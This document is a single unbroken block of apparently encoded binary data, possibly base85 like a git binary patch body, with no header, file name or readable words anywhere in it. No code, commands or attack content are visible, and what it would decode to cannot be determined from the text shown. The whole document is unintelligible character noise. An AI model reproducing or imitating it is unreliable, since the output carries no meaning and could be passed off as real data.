z6!+0?AyQ{*#6uvZ8Zl85>u5LPCJXu5GHy0}2}nRo{~+c*eLp9?zc-!%SN@7E7>thseH;P(Eb6f-~2vhE|qNO>Lm9kz& z0`mM2GdS7$OI}obH5(YoS1y6DYej5Klg@6{OxW0;GW!CD%={LM{J4%L-{RJEz#Zxc`DKV`$$-m$qjab zDAD95fxXn&RpS(;&en=SN4a7!Zwp#-TC?O~{Hw9dcK&}uUhZMYF$77Y+BI*J)_B~p zKId!rdb2p7wVp@_A5^89kity}4{q6;$04%)`YFYJW?rPAYA^woy6XC<0@+$`<7oqd zoOT$b?(xb*X8TJ5Bv+jC7Q15NI~0$1I&g6VOEHG;GdGCSQ_=4tAy$B0#rd=eIE#h_ z9rIw=rE;v`h`h;)siTsp0emPfOcPg;4Us0gkqxD4^8l z)?ZILu>tMC2jjronm6>;>=hc7co1#c2r$M6H_`-h+#4ryER=sgtymREfYr|}SZ_rW zahCUIcTw*Eh;|NFY4-bkaKKb}xGG^JgApQ5wJa-Tb; z`XtOV2&EQYPrjnyT`$8ian^&p+QTjl~2FSw9=6{eLa2`(r- zmHpkH#i3v&>C;~^`e&9;g&p4MN^1IgNrc+hO95Fn5HQvKjD*t{-{P9BjPiS?>fTQ zjqshe$Iw8vLdNfn{u6Mu?5SHzh(jn`xV%bHPuH8p%p;J~5=A#HeN}aott=#N{tFL~ z_)m@FKCv{hUQSKy?l_pK09z+u3!m5VJohJb7>?t6`eH-MJR}{#Mevw+7 z1`xTFa@#ABOAp_JY1PNZ-5+MAcip24!d&)aB>Uc)YzUnj! zMdw+4^QzmGq>_<<0Di+t`0449q&|d^0Psx)gw`g`Za`~S^io>uf`nKIepIU;AER1r zyG1e8TEXcuT=8--5+Kp*KY1yYQxfAp0soPJm8;RZ(?%s6(4H$TW+6dRm|F011I_bY zp_=zJ5@I{rq?-5AecJeKyF`b7!wNvVyvS{w4?EZBz+&)4xl-%wDCHAC-_(tcZF@1p8q7;Lzg{JOiq#&DGgm=8y0O8(ODTVb! zLXi9v;quXna656e&RvOIYcN*6W%C5p;!YIk({5sWB+%lQ{(xlJWgK}|ft1L79b3s0 zEfBOrg;{OxQm}prYxr`J0J?sFRcnY3So7h{UcP5@4(Y=mqw)4AiwqAG1c}YMiZrGZjA)zNUH}EjjEt*SXeNV=i`^MP>lgYI^1oFI&4))*7=HbI27% zmtrbfxl@)Ivjd&#>fXUcndO1G0rHiysbSJgUb zKLR|ni+W9t^li?F5`w?#1ts`Cnwf(m>KTGsXIU(c4pRbOIYe2)QY7U1)Yr?w6x;ZB zmV-IFUgR>%23b8qA?gV}!-Jdg1ajK3jK-EBQpML3;F)ERJBp2=rA>9_6N+k4y=ec? zvNKV|*Ti;$a1%M&E@47 zFD|nL`M8q`3{!a*o1s6})S>;P)@J z2;EksK)$Z0zCQ@$jJo*}p+A`ZfB|7$+0T)mr8df~YL3>rUrv-U_wI;<_>INH9sbF? zwOkB2y~!J=cp2ME$>lyI7XGu+Hc z7Uss50HY;qZ3**fhrr&JmilU>M~B;5B9C8x5p>yYsttb+S8WhTpbg*uMwIINgtb^+ zhfj#s_~!t>oZ9jc34u1K<~(DU@DYjCx@3%9!js+~b;$r(Lf++VoqL51&y!xCE@^`j z)(WkB#1B$!Ns_w(^PyCZHYLLKE5V&sZyYE8BsDynAWz$2 z$fvKDqt(Mq8rB5aW6Uk*F?a8ISbMW20Oe_-sGgQ3+#|OZ4c~AiVAX#Hlx%XK4%r`gKS0ii(V&_<)u1{MQ4RX> zc4cI!aDbe6ycm3|GNQ*WQ${oa2@rT%5ug_&Xss^RIxq5$h4^EQ`0i5?*W98Irw&kv z`yc_t9e`L$=7>LXa(%l-c$S5by2FVKg^JcF*;jT!0;o1&H2e=Uzef`N>c1gJKFBz| z3<(c@2e_-hXZr)#QnDOB6tZL=*UV~ZXT&tjUPl?+^!jh2OEH~6Lz)pJ%~mUX4LJR+ zoe3`nP%hvbY*Zl0n*oz(8ZGwA<&W0 zU`vG2DgTeQFOS!$`u@Myc#V%KLxxMHB*QH-57#`8QAtE)NnFMMrR2_M+Jsr))%x{G@ane%O0j+kZFB{|KOZnaCkcMe799Kl2!ym6>7q(7 zjZj^3aKiyl`p_dZlwT0bQ)fpjF*`|AX;n#(pVIFh1cGHj==J>H>%{-Vd$ZF@H1s-c zjbZsvw%mPvE6?e~^1xXFDtu~YiA78R#R#IAH<<1d1M@ihtgrp&qO>m-+& zt2!GENVU1`VF3#gAcu|9_z5|mctM}u;Rh-80pH2BVaRXc&KQQy7sDAjt3}?}Dh&A# z*|;yku0V~}MIfN_SVC4g{YC=&^sX-vyDQ-jIqXRg9mc{Wc2_N>gF1wHKn^u;!t&;| zVwGlrfJ!&kkg*Sums8|DYUS;0Nj5)B-d~Mb-a$QP1HnH*K;Gzw%A>`=P#*t^5l(+< zScFYPwqj%k>Q#CW&IhocT~R@)rUnz@tnQJ-OQ4^9l5KAV0=nG!5w<@tIn@#-S0%-{ zi#RE8v?vs|1>Qcx-iu!4n%YS83E3 zrB+E0aNv)`^}rSOL0GHC;W0>MTR&-TGRJqD_-hf;TvwSuurUY-X=j8)ML1c2Xxz=J1JrE%5*Iu~UDm zS9;Rx+Dhp4uvsMg`zC91+rGaym8`ui?j0fHYp5Pyvk2Mqu-r7HndcF?*a8^7ONViM z>Zv1GJ1cik00?o}ArWf8{X!H?)PQRsocCZ0ySqH8hVrBz1;Iiz70-?;A2QG)HaSMU zyPNw3mb@H+3|$W#TS2Nr^7rpWkX#9|Q3*IZR`z_$E9z~C z!owd(4fP@ql3X2`B%Hvn-=3$RG)+2}Ha_WO8cgcgCB$dggyB6DT4lH+@AwRZy=;0# zQb5h^FV$b>D1D@qmP~ti)%zPee~i4tKd=+N9UNiFSX|s+fZTrbev3ZiFa<1D!9QePs|K4?)u>}NztISqqn-g@ElOq6gLg#n%mq>g_gy#R zM7*UKb-x}PbsGeX`s#b*TWo%SQ5$1Cchb2`YB{zAB6&Hs9X?`rjUb^aWIgJzF=b>$ zQcAB#+7Rpm>uf) z`~xvQFrSdDy9ODv_dzW-dt5^?ds#f2eOnH2uImGw7nKSagyn#MhwjXS&2{pUvKaYQ zKwv&LpwAE}h0pFj>$YX|X;>Yq$!jtQ#OmI1G7#vy-ia{8-^|2{flpCZ(m?WG@A|6&+S3opp#2Tp1uIWo6R7Ok{K+ftbkTZfLea~77^WQaU^oQz;d#JQ0G-y z#hB!`BNVf>kFYV{fpE%MStsjRV`Tp;2POq&{g;o|e@iLc$oLN+0{eP0-t*X5b8;Cy zc2t|KY;3ec6SVA&L!K zSj)KZ0S6P`S7CWaTC%(YARw<3 zD<{(X6!#aw9xB$m-wZ#5Eo()bs0kBPX-=%nsvgYCs{RQAs(wdM4;=oqRLb32F^*M? zNRLjC8FpiIR1Shgdb|(9`5LCN7hfh7cvXX>rwR29a|R$`3g|GEe5fuET^FKNrZ=$y zQfmBHn6ilNUzK3nKL-KZSAM13h{gVi^ofU@*Cc%!V`HbLulgWpJ^7)RvAQtENNCdN z{O+ds9yHG(UL*RL32ZbR!#=7`Ca5rV737-okU~}Ukb;{T$ofm=KsoXT{mytc`jiAd zb%xh2$oVO7{zv5evKIJ6b?lLMeW?x#a5G=sgezy8H&OF)G(R{2;Pf4krt3e{WR1t7 zXXL4I{xh6ttyMc^;1EJPO7rzi2 zuxOy7S{sRGUKz;(rz-<;S=g=BdBrhN|Fc~E6!jU{5Noh7rM7kqqG3#n$##3#bGWg2423wqt_YoMMcpM59iCK z{C#NQfB5_Q>&D-ApeZZ8w5s@fUj_EWlTzItSJe&c_o0MMQ$-tKgw=u?P(V)=Ae?y? z`&q(PXB$-R@ahn~IejT((y>%1+#C|0G;xB%?OwQ7mS> ztt1w5)i}uV-^)A$S!~ekO5&oJyGb8J9Dw}A#6#|z&m3`J;%z%sTjRj(2Mp-;=(RpJ` z+)FGJ!Y{i=2w~m~l2ST6k_kk3>-ie2p(Dlxz z7PEag=GAf>yaTcl*sE6p1&w8e8#2o?RlLEw{V7|vqg#X;bSH)_y8^<=Z?*WNqO~lb z*CT()8BVb$*s{VPkV4ax2v2f;jm0^<*#R=ul#&Fa*k=O;nW{)WvFr;}Wwn<09|&O9 z6}9sywMm7LqmNIqky8Pg4#IiWg69hbe^L})poSpk*tsA8etJIngi0hPhOl`sEn=gT z&TMg$DzH1~Uc>iKvahrI>e`0}H_~|;{ITdYhF%6e*&p2$G?I_%Dt#nFrq~)~Sb1Ng2s1IXdGCi>osLkl>q|~g|rDp3qPMA4B z51X`>iij^r#98378S|bd4@KOvos=Q5tCfEboIDcLQ;bgHQHpE#ku!x;<=8{#F z5Dc!2ARr=9iFnZ9`Vw|11HOgU?2%UqUGJ?tZ}cs;Eb*cMjlT+|*t$d=0FzHyNik^onVboSGbH;7!~L#BvAHF#V$BsY5L1i1>jPKdN|k1Oc7X5jV|dhhB~l z<<+S;%1c2wC9M@l%CTFhGGD63+Lp`9;H5zT{Hs~4E!`)7K~!k04x^C;^+A9u0bEcZ zz7>4-N}3V)6_1o;XARt>J*I!v>~#oq+qfwy&hY2(`z-F^6CkJhm>Lk%hKpz!;%j-5 zTIfT0PFG(`4r+OC8(JFqT5gs_%epi8&Jv7|a!Q$I=WlBHfF7F-y#w_j)*#N+SJ)Q= z@vqQr#+;d8$76gJWjauJQAdYY&VgdwwQ*H;V|@^CP*-$y7D3NYhjbtv?m+LvtR zh5Q$a)`(i-Zz;{ok+^q!3?+%7!9BFRIK>tMx`7ado>XYcx5}-~gU&}#iNpnMq zTR&a0B(>pkRuMzqU(od;;6p*@Qp@_?XxZy)2~tbnRcQIq*V2nx2ChTPd|yi|YT5k< zT1NR=o}rfL<0^7vO`8*o%f8*jlX9T*DDL%!=E&)3z%6U~>KysIG;rU&fR^e731vDhlukLNQ$TgX`A8>WcAphWuLJthvV1)q+MG=%9~Yks z+LDV9m)|mY5K%B6F!gvdc28uaBP(hco0B+ z!>i(BTn4|u32*2ynkSrWYh}WHt_pKc_Tl!k+-kA^fWz|9BJCyJKM;HYgx)`vwGgm{ zmO`Zpv$WTRySw6cQyW&juqupIN$n)(5jZq@z4~543pkPed7>oylOXrSGUSF)GV}ohZRJNc!igt-F>S7GYD<0N(ZlJ9 z1(BQb7y9ChJmnK^mJf_PjDI2J9z!$!9`5D2CM0eNR9`5ktuAP0P|h?uEFOmu(p z@KOc%4L20jFl!;aO|&|bh1E?o)CZs-agbcluf?d-^<8ij`>b1WBGu=;*VwDA^i}yN z#izFA8ML^?G;~2Pbb9*2^FYg*$$&s;tkco9TrL)p@h1zg12(_l&6uAihWd)^KPY?h zQ_m~bK=3#S7&$qNb&0T+)@%7dup|hu_VBP`M~-zO-S5d#h}HN}uvcj8O47kC1IlUF z3}fPrYm&_Qq*YZR8o{~5p1U}O2`yL`Kk|&$CzX5Di!#TH!l`X>nuNrz-!5cW#8{qn z;L*ckj|k{on!WHM2$(hj0`xqPV5oNu^`@a-6UxjI!^*Jn-I_9FR}g@#>S49sYAGFx zinn65w=$qZNJ(mlNOPv$eGEqS!unVj4Bk%BewMx&?@SP@ev*mmM>SEoD?gMj-qYHS z(xHWK4L-_t;8KrWCeBhYt@%DMc1x^yTaIP>>0{ZtJ_z64=`JFAgp5OaaU1T+WczVF zO!p{z_LVl?Y&bR{C1q7sD7GdV|8bqup;jg&tJy5^Db;xZKFyVS0Dj!p{TiK=`}AN= zN8i>>gT!DL&nN;Hj}{&kT{>UWrxLTpSUSf7U?6xwA9J)f9aPoLuWEf;`))u3GQR=LUkpSHk;i~$W{y*^nGt6a zqOxIWKJBh?I#aHwpRy%397b&_es-33NHb~g)UMrVH!Iady#XX*p!*|oT0NJ&vWk`07hV|^y>V+h`+T>wd$H1d% zBn3f0h0H+U^~q46sPzf?j}dMcq>R^IV7E=vPy=#PqUHv~)L~r(Hil{>lo4B3#Fo=TJrFDn0=gFTu+pH~ zB9it=Vce|?fDOBs_V( z>uh|&N%{?M$_PAjuAVlJ&v4gy+)DZ@KmD?GGUPf}a&f#;J<0iXzqE4r;?e%Gq=&|G zoS3Vj@o`13b?>1A*8Rs}1sgOFV$`~S^$tX2tFzEHy@)2aF?w)>)->Y?jj%kGz!Q0? zTtk%Jf`=K^px6WgS#o2PLF_4rap_cNJ;6nph7gf4LCO7+k8MS7qiMy7 zPUd@A^96z(K_FO73}47xpXv$4ZI>a%JX|;{z!C;qTjyXYhOMp#gmKZ;phOP);e=zg zvHK=3IGBO(*gvKp%sJJqb-VI%p`@y}DI0@+r)NI{IyV&5+?J|Ma~!HG9Ho9a5cN2P`epGE7G85f{Pq_PX@aQ;h(Hah@LDNSK7%>(- z?GUlE?L1MAAFMS_e8F~zG<9?r7vz)`azL$+>G{4w5ARxCaxq677lf=JpyTNglHW%_ zaj|L9h>Oi5*3RE@Kd3Yu6SWrPV(hsf$bN%8%wk``+hl4kUJb{w5Bpf`2OI_U4sbkY zKfyAlgMf?@Mn(ald=o>GbUmsQ$9VhPa0$;L=;6!|zHYLx>#7%a8x5ZtFZA+0{TiAc zC^@YaUp^8tP-bOeh1>aV%)M>Ul+>akb$&GL#Yw$coC}0}?O*6AU3;KYIdo6gy_RmWyuK7rUEN+Yz zq)Hko5PTX0d~x^#KkL3sEVQn$)>5oEuU#U{?q`OYDHMBO-StY&z!-g=V%PTq0dc*- z9pc+X(3TDFoD+)o!}2wxd7N#oP0bxVRi8XmN|fEM1sT_;_6mx(NY`@!DcTc6LOPm} zRi5BOT0PXG(+w!XDlaCak-ibAepfO_aR&RPJlmfHg6s!aXmwQFCyO!niE_++6a=_y z`na*`Qzu1jWg(DR;A1p=7EcEd`+R8%aUzgH_KJb#Z@3Y?ZWH&=_ADcB*X zRrf>?`hLYw>F*8@$`s95k(yOzo{W0tX$;no8Za96u#c*f{^j5!?f1eSObS;1^c<{` z8q;nSb2Y6VqD&moxPcr2X5xY%`t&0x4F!`YtFCK=#es)D%)(0(2Drp}Kc%K$z??d#h zcMa0(g7lO{I+Nu=NEgzvH)EnXvS~m7@e3e^MCcTBVYOxg%zahP-}DTp&ijvBo`H%7 z5Y}}RyUuA@T5IhI6T2#5tQCay?BlH1X%J8>tFUUx>UKbPEBS6_Qj~wfF4k#oTawXY zM(>|#Sd;suyrcKqL9BELNQ?!U0}ywd@bFH0l{j&E3D$K92{c{MHp?^^D%;EsF{ zQjh&)_GH)JHs-R2VzG|M=G4MjxGGn9b?r7|?icA`6b(3qtmyADK+#Wy$5hhv3Un$? zm=)+4-;CZD9YV^+66nu{ze0GA$wJa?7=~O+A^#}IkLs~x)Xi->MA|}DkT71Ch+F}I zF#bItC1qH0D!dbNNEP`V^6y&*)xUqjzc~Wst8xTxKv!0Kag2$;19osfrc${updV#y zKS=BiL_K?T1?7w_k6U>gJ~7dGSTc5s=Da#4$#_I3V_qQX@tRdpZh8^IIho!`CxNad z9;l{0aO5o`8%FWZNd!d_a~nS|vD}gTyv_7`j5EI)2v|K(`nkOg)m11?pPQIl==q6; zCD_bu+Ds!n4jnic|EtWw=!FPyFk;i2VEFEp6_3(EFgJ0|^j8JvC7_s_IE5|JpXsFF zoJ+Z%f>a*Rg~HbbhJ1sbcG{v+qjP=%PLNg3m(Z3QrH4odGmz3de?n7Mx)(&b&kN7P zpB(6f>@}F_afxe+ZCI9Ua))*h_H^LfXS2`K9Y(MtniaYGb5c9+{GX~rK<Z~%0<=Ft9$ZL%)x0U_D$5xy*t75r7zc)u)N(VE#Vx2GHEp}WD zQna-2L{_JYRwob~EUVdpYBlR#?QINv?I||!NsE0v>OltH5X5=eIX`BB(D^YJplUh@ zQTPV5WQE5A)Ez85JQ=IUDxS)&rzG=O#k0btk?>eWtn-aUszXTSg~u%+l<};-3-_dW zc9pi?q~x{NJ;Uf}i|nMN!SnDVO`eAg5qS^khg&>Cdizl40hMRN2;GKCx7)JwxvqCU zJtB59k2j2xev_o%1l14g=d#k%Ehd!bg`i>T=>qk{EB!n@f6xgVfmCt|7OOFhV~+G< z6WrZG(POjsF|ZIsOz{8Esw52{{=!`Wm9?k!63Rf#upQBbD*2S_?66;atbM?`x<0U- zWpF!ZNw@oH^dvxMTnBa60XbF(A=+DQi@iCOBbK_Ryu3^-%cQ%&eb18Io+>t-JyxPbJ$^8s9#*`)@a+X*cv%^II9) zGx@gB^Z|)~?5fgufO&3r0T3UOwo5gCAlS4pr+Y&Xh*U4zFMLfgR{WAl_cBGM0(yn4 zgZjf#c5+Fm?glnU`ew55>UFff@+5u2u~_vDfwZ_yj;`t(0+Vt4t#bM=-%{?E*E|V< zBfMHpAuIE{Tafvw@Th@8C296$j_PUOL^06Aip1n|q;Y9^uQy8$@}}v7y!z6?tp*Aq zU-m>u$Oph=w!RcJ(IKyOMF&XsYU=whubQa$1%QfrCENM@&Hsw}S#8mPW;D*4A$p5} z7#j5lWXlGvOd#l=`+D2{uz=p6dtG9%Lpu$JdLVRtt7*9(R+OI=X&q!LXs@S&`>%Ml z^;MAq(l3Y1v{}_m>;8&GW1>TUiclqm!lP+>9)n=$*br1+ZX+d#|2qo`nyd(>Ue!7ntJU6-;H$X0B>J@=! zO%3Zd4=c^cXY>&czUL;+t*x9(`8C&Ys~wLSYawr~IPev_?fvUSVs{wp?6z0C5(bI39^hqwi8KM0|UuNQ(valWqxc3s~R`+OJU3eG4jaH1kTncP_p zbB<==0(KY#BJh5PTd^EX)h0$&Ba@-kbl=Qy0+gGK- zOPM*uFMxn8AEE<$C8{`kWiwoX-i;DBI76-)uRNe`4%U_oc#gdD91yEp#3jWT@okIv zghC9jL{EuFw(0z*N_4rCaYm$dTFN`UBwfPyQqv@z z$qXCSoce>rt)+e=+IX{HD30N8=TRi`nx*a1HrdJ=kdj-Hm3m2-c@pauR9new@C+ggP~Rl_3*914pD-> z6{?i@9t4yag#ICGmlan`LcD$%gKE*r$U63sgPE-y!{9FJq9#u+PRgV1wRSvx`s{9|OsEcPfVFDT1-b^5%-xvrXSA{Rbk7rH_U5RJd zl5{L*(#@Re`!{d}LPW!)9jQ_mAbOzzoSQ09QcdS#Jb zZfc=qcI5R@AUMsJmj_?;_#}^o+;$0&t$!3nR5d=}u+<$jOd!}E1g!oTFuXDfACJpj z?iGwtzB2jN@nOA&NUx84y-G+gw}7E?2&L;gmaJG?!6)q0D6-{Z2cx4N4!jOcEeCN= zq~}nU00E=cc{#nPjP^;OQykZ0{k9Wc}loYhzt1lu!+s<3Al%smF}k%vOQod zCBofUp(0PUWpvL#aH&-E#k!)OdEV&sg6LG(>h$ON|I%rXw$|$O2@qBCyW@m1p_+#K z1F9G$$pPXzb%03kKZ7}>GR}rG*e|W2gPSs79^@;0q z(&6tM-VT2~r;eBR;g42-o4)XiTrdG%e}V)2to}GyAlM27@^_|X4IlT5PI9l-zBGN+ z_KGxGMo2o<7HQSBv?tLI+rb3|Lbiji!B_0IN6#U2s!o;HlI@#YSK6zdJwkhywmpxX zm7dqNrFPG^3O%{9@tS#i;GdxzM%Unb!_dJ-OF`-gjIjQDkzw$u!qI<^;#qcK(^ znVq@R$C}5oMsj9FQS5IyY&oP3Tk!q&c3#VTOZmH^TNCNnKy`E%q93AAAb&^{j>3T) zg(Mze6PGlWk?h9}>!R(_6@6 zk-B{&%$L6Ne&y5#~&I_4@5rD6>5sMu|{VkNw_LDdg4~xb!VRpYT)Eq-iHdLZe zKG2UMfp!#Tw~bJ$8=VZb<_Kh=!IOo)uUppe+)OwVgB#y!J(w0Bbf8n+_u&I}M~>4- zh$wJl$lYqqhEH@a3hAB{N+%SaLXUQ8*#5guq5pc}(ILJV$*Z%4$Nkt)V+=J^D4#2W zIHM2qZ);(88wzE*>1BO497%_DdsLX+Y(lXI15N>Uxyi~4t=JdZZ2Wp=w9^2-Vz(VW z3A48fkNdNselXP6LMb7XZ3~Y?$hM%cxq}VW*HGOI)zMIG4Asa`H4RlkDB}`6N~=b4 zNqS*+@3mxmjkY%rN6>bku({iWGKHp=Qyj^_4*Kx~9Q38|cnY%IEgb!q7GQk-u4U)( zIUte_ZG_EjBvhm`#^)n>JGb<3GaD+Eq39$o!4=o9hOeN3$vSKsFjBL zMksuaBzyqgg?HFdlak@64}{x&+fc6yWg^n;kk4U_JS_H5uSFz%^9!?^T_}T`*^hj& zx!)5yi~hx#c$g=WgxOswltEs8(5Leh4~x}#W+de9!tB0esJ4b`ER>N}kEMAgipPY_ z&1IJG|$M*Xoy1~O@E#89r0AY^$M3~)i zh8hkE)6ZbJAUg3OVl3-~U;IfuAfV5;T6lO#t;VdDC-fzS%`FIObz!W=)%bSagA;fF zW;+Uh+;0+UrnMnWBpY@Kv%A?)>kRdsP-eGEYZ>}5H!WxA;BJXtzz)bt24z+I>7lk0 zm%exRX*YZ9c~00|`Uyv6ikX&EI}2e68&&P^kX26ENKlytz)fYSn~fRNy=bVDLPe^v zX%0kCa=G+yzZ6O$$~PUB;Iup}Gu{(sx1XW98|o#Yd{D1Mf+{b}ZV92}qZ0ZC20ka@ zWK>I`{%{ogEd5_dglmn&1?LQP+)(=swcSt~g$h}H`W|M>VudU?5)znC_C|2uTY~5I z6w27F*Xhe~tR3dQ>cZ?kWvIsuRY)i^Tc>y4fxT>cW@zQ!ZfM2;yrov)`b*8oTY4rS zhJK0=M@s7XysEbI&ch)lZP*jRr1^sEPBqkcp^R~Qu1&!~eVB2bh1qQW!sC_`$~afAi(B9rJIuMMgxS4W zUyQyelmX!RKN3KaFuN;3>2Cxj_G2icZ>*Ef>O1Qo^i7n0Mu^_x4#mN8n3f%d*==K} zMndr`G_UQBkbFgj$<1e|fT7YF>P|f|{<2V7_e`|*ZvqE%WR4zy?%RdO-Ds%QhWb`0 zWf@IRi~fk9+8AMThYDpnyc?;*bHe5}H&k6iRT0YglcUZjT%M^UvoO1<40W@vxZt9p zP70-+q283Lf#|U_cJB`v{J-psVC4S+7`hI`Uyw1HgUf&)Eq-i7D_u0r%(DTCAc;;W(H3hr57gmUTtG5EfwekZ1`3P){Bvzh8l_E_pk!BMiAU( zLb3Mgou#;EKpl*0KQt_nwugVg2kegid*P0kh1+c})B~P9?ZSdQRu+*?ZXQrrX=gJR z(i!S*Ep~tjORUq*>Tz}t^f(a4lirE5Jiijp_reoty|{OKgmf7pJ={S;nGAmG_Xr(Y z3!B?eD6O>mM8bS{jGb4J6e=n_Za$$*T=H@tOZNX2R| z?h|+d{kgDc4b?f)eW=A6P9~V)!sEVUs5gXCx?^@_tCxtS;Ecsgm zU#1l{_f8Elos6MzuBZHH+$jl5_8r3PZW2lxh04pigv>?HnRI4FtVL+yG?}(*=PD+xj%w)Z%;brww-`V z^HBCJ5we0l>8~sJDNv{wf13+?g+e4~$r@)B{B>u@+_QRf1l(!T*_~jh1ffi#4vo~c zqp-Pcgc3jV*+qB%*+nT2BN?C1!R|;jYmv8cEJ;lRfwVoLX zxw|mCFA3#yekzW?@k#{`BPD$~R>89-pr3HmBRsXCZdD33n!5hGF+$Ss7B+W_p?(s| z7`{4E*J;A$P7q4$;rZ<;f0SSKFp^T8896lHYI?Y=SL@+EO<26L3$vTvQ1_lub?!R; zcxpJSHOn8y?H)!_Ys-cRzFH`3?rc!q0C2o#SxE0+f@%KiF`$N%G3;eLBmW3HH&sqjx|cy7#+8@e%#^4`0>2hsQAE&9E}q;L?`}{aO{IU#}bm#H=5o!dSh_+ zpi}Xs4iV$l#?gnGCGH8t4uhPiz>1uN;AKw&`{{b6_B4y$(=C4F9Xy7cijP~}ZctH+ zjN9Ef@xa9TffX^06V^x9OWa}w;+J3Q2e%G75nt*6Nj%v&`hfT=B0sEE{3wfol}86I;disftNZ!*-Y^Kv zd*8#k@DJ<0zH#EgKy1CJDCm>DaY7RG-<^>B!JcGt*ekmmMgLJBK1hx)b+B3V@9O;s0xQ5o9|8QM zQS?T)JT4<;AP+#P0xRl9$FHG)C)~<5AW%PXWBi^IiAnJZ=b}Nx7rB#|1X-z(Fozo@ z9;zR=JATidxUIT>y}*i$jSydtzZne@wSJ{K7q3)4d>jNux8jkj=?tbtgxb#Q;2vm)m<>}W7 zX{?{i%)cgC1?j{S?!{j*;i_F`t|T?a1Hp+sIZwue0MvLu>3q8kEd2IUri5dK@D@oO z=kjKQvygD~be29LIocVup3&03!f2^MsQUrcm1;&O^>dW@dnr*xsOhHs+#3H%XDh8n zT5408j@3mn5d1)EY95kFz9X78yx|=g4Xvhke}Sg@$<|#C_B9E|vf;i(ZqfJA9;|O} z5K7e0YCiR6^L zYBssdbK*u2z#IWgrJi%SJf@S>2`92)M&=505<0QfGYD3x_w$boRq-W;iUR?tN=Civ zzzQAvvn@_*r5-@>dl4wpft7zaeFX63XBn^~2mqeGM!FfFsad6~cE#@znzp{6dM%|U zrRk~Ltm(pb3fN346AVi#nImRuUmKQQhUKGw7-fOZK*Q27f(~Ek(fy?9J^VEHu0PbP zLk42;l#FC(39JA47Y(|?54^gr?7QgA;(aiMts1v3(jfZ;i)8HH0zpSB76_gMLC-f9 zFrdSIpu;WbGZ8^+3+OCSbedLl%M}SHj$E)Z~d$8$H}_TtbLE}cS-yPgMl1&s z52?or@Y|>Op=P`imvA#(AUI6fn;z>PB5tP+jBMY8RLvL|*&GBsP>MQx%!YHgYS4cI!3iz#LnSH>o8%GnzPN3k;Eyb6X(h$zn*#Z7(N)*P+tdfJvDd?C{G3)us_?KAuwe_!p)e# zl=U$i0weF?qai#$=zDB|V4+XE=Dk6XlxBO*h7YZsKN{}`S4)~L5_|5Wf~sZ8ZCy$q zQ&1*V)g1O&7v=f%)FcjZm$O5*LOliW3kc-V@r!d!%SgD7^SCN$8n)nmR+Jrv98gXfqLX3U1;LE-Va8d^(<>ukMhWIw z$-L9rpM!v@^P-G?yfhHJ*i4BvY2VI>?SSn%o>5neoHNLyX2xUxtmyxs)^Ik)LYHf7RmUBV*K{{CO$ERgegl*AZNKUJN+@ z1GCK5VK4?vF)XEIXrJ`i*pFB|g@S$^5()CW>3iWi!)MS28Tg8Z<+ix+zK)>g1Iq7Y0-yZvt?aLZI0|MS?Vl;eH-wOx?1HL6>NwBQWjFRfi zUSX7K4W;zO(e`3>TvYd`K5!=4t0hSPEI;{B-Xa!6pYBmPF%w!{Pq-Z&7`3)HhI^88O{u9~lGL0U=vM|&w($FcWdvaQ8yw#$AfQok;yaLVBJeZaA1ID=P!rY7 zKp;q`XCn^>MsBICIPaVhC-#N8Jb;Unu6pdMPhhl@#mx%6Z#RieKYOnIxFOl=$Hy$% z{$+A}{{Gi&aM7-;Z!8Gt`!;aYynh%lX3pkfydT=IV&eg&$J%m%I-$oJ-Z=&Vs3#PZ z!BF%5E*$luDPXkC<t&fsEH|-I z`0RLjj1@h$6A%R)_y&T9Y7uu9{OAA(=Q8B7l?#_rs^HB(`mtdCk_tT!zT*paUv1gu zR9D*^_ZgBy%ckm(V@zlFO}D_!0jzIiT>Xln{*;rLUHT;E+$piDwoEq5-t=0v1uS~p z)v(Z4zBO)>o$*H^qv_iU06*^l0&y5^0PaE|HhLKVv~JHyzjRtKerOhiK96i>x+dAK z15MWg(siaTTY=zI5D=LQ{ov4@&LZ2b7P`52PErQb7u;1n9cP;hQ}Yot+mT423+_PW zMo4!Z z8=TdDdvWqvoE_hYdj<&3KvW@x(_fdP-oWwsdkYRL;O{QLRmo7;$nEu^$I(WUjb7D1ZD&gc7!0z&8_3R%A<^}j}BC#@r5-**ha3K$nZh zKj%_5wg%_YC=dWCOdv}4k#G!hJCodN8)Dn*knr3EhCz&aBhy&G>5=M>N)8q_%Z z_hUNz*2}@UI6j1f)*t2sEosq@ED|lR$Q0_k$>I(sK;QPysjdv@OigNrIr$~qn9HY5 zb+D)fY{2;gmaubPgIJJGK@z{!Sz%k6;>v1T6F9@|#bgWFfWx1M!(|T1#B<2A zmN^5MwNjV<$4YgODY(6!g1-Qic6?@Fg*ra7#Yy^#(;J^EqMMwb3fe^6+f*fCJP3sG z1)$+UTO<*bd+`u$|1u|}s7(jHY*!h~DHuITAe?WY8@r$@;B|h)2=KK;@3@H~iz&6! z0W@q}HmgY7K&}hIX={;VfXs8VGhPn4(oFDTfA+V8&dtCp{^M1>EW^RlNIm=-Sn+Gp zu{0Sr2UhNMGFn0NzC>7FBp?b)(m@**x%a#ds<6HN!K}kFeF2AMEAmn~@)r%tnM7zOik$^2eg#8%SFjn6}{*)VZrH~z6C%|DxSJW!9YN2vmc6((Z zuIM#MX4>Q3fTpbUc+GptUKy-;iEpR9`l>;|gT(2bA8bn#LQv1L)Sk<+p!;RW6I0@x z!<=$0_J^lj6AP8{xujh2`3yBjpA`gxGt>drM0d8r@+Q_F+M~m%$#dS3U!UCdK!Xn7 z_I=*)ZC7TgeclKX?%ht!o5xyo!uh01{0<-xqC6z&wmFJRxQ$iZ(F&+1D3NF3g^}wM zH)0xB13r2{s>E}WwG=wsvM4c|fjg*O7(tKRcu4J_U$h$i^O=fcV|(RqT;byUw7t4T zUzLyd=d&$K2tmc>Gm-c=b`)_Jl*HDMnE0351b@u)VN@{=z!RJvZz$-?PH_U->ilF| z+Tx0?`-%2qO=_*RKp!22!-aj1hBLO@kS$RTbrJLRW_Vxkxwtz*#0n18MwxR&3 z1p7r-q7?^d#CWs(jLyAT)D%`ezk+3`0tKzOnP28)Lt2& zd8rC)wO2bC1XTsTwJr6~;zqG*wxo^M=A79dK3?97)8pmGSu$SoKTS@EG+wSx=SZF$ zXtH-QFypo+{^gXiTKx2>vN?~vvKUu*#6;VxQ}tCDF=v!nstOE2i(8r04Ri5+RAIRI zN6Xw&i~G`Esevmp*2xPvGCMSrb^o~`$9N406p`KgWSs2Z<;}uM7V!LhrT_5bYQ=VZK;PVx*QC)7t7(Id+twiCKg4P|A??C`s_)Pibc^Z5Kc|o_v$>O 